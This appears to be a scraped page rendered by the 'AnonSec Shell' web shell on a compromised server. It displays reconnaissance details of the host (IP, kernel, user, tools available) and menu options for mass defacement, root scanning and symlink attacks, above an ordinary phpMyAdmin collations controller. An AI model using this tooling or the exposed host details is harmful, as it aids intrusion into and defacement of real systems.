AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/libraries/controllers/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/phpmyadmin/libraries/controllers/server/ServerCollationsController.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */

/**
 * Holds the PMA\libraries\controllers\server\ServerCollationsController
 *
 * @package PMA\libraries\controllers\server
 */

namespace PMA\libraries\controllers\server;

use PMA\libraries\controllers\Controller;
use PMA\libraries\Template;

/**
 * Handles viewing character sets and collations
 *
 * @package PMA\libraries\controllers\server
 */
class ServerCollationsController extends Controller
{
    /**
     * Index action
     *
     * @return void
     */
    public function indexAction()
    {
        /**
         * Does the common work
         */
        include_once 'libraries/server_common.inc.php';
        /**
         * Includes the required charset library
         */
        include_once 'libraries/mysql_charsets.inc.php';

        $this->response->addHTML(PMA_getHtmlForSubPageHeader('collations'));
        $this->response->addHTML(
            $this->_getHtmlForCharsets(
                $GLOBALS['mysql_charsets'],
                $GLOBALS['mysql_collations'],
                $GLOBALS['mysql_charsets_descriptions'],
                $GLOBALS['mysql_default_collations'],
                $GLOBALS['mysql_collations_available']
            )
        );
    }

    /**
     * Returns the html for server Character Sets and Collations.
     *
     * @param array $mysqlCharsets      Mysql Charsets list
     * @param array $mysqlCollations    Mysql Collations list
     * @param array $mysqlCharsetsDesc  Charsets descriptions
     * @param array $mysqlDftCollations Default Collations list
     * @param array $mysqlCollAvailable Available Collations list
     *
     * @return string
     */
    function _getHtmlForCharsets($mysqlCharsets, $mysqlCollations,
        $mysqlCharsetsDesc, $mysqlDftCollations, $mysqlCollAvailable
    ) {
        return Template::get('server/collations/charsets')->render(
            array(
                'mysqlCharsets' => $mysqlCharsets,
                'mysqlCollations' => $mysqlCollations,
                'mysqlCharsetsDesc' => $mysqlCharsetsDesc,
                'mysqlDftCollations' => $mysqlDftCollations,
                'mysqlCollAvailable' => $mysqlCollAvailable,
            )
        );
    }
}

Anon7 - 2022
AnonSec Team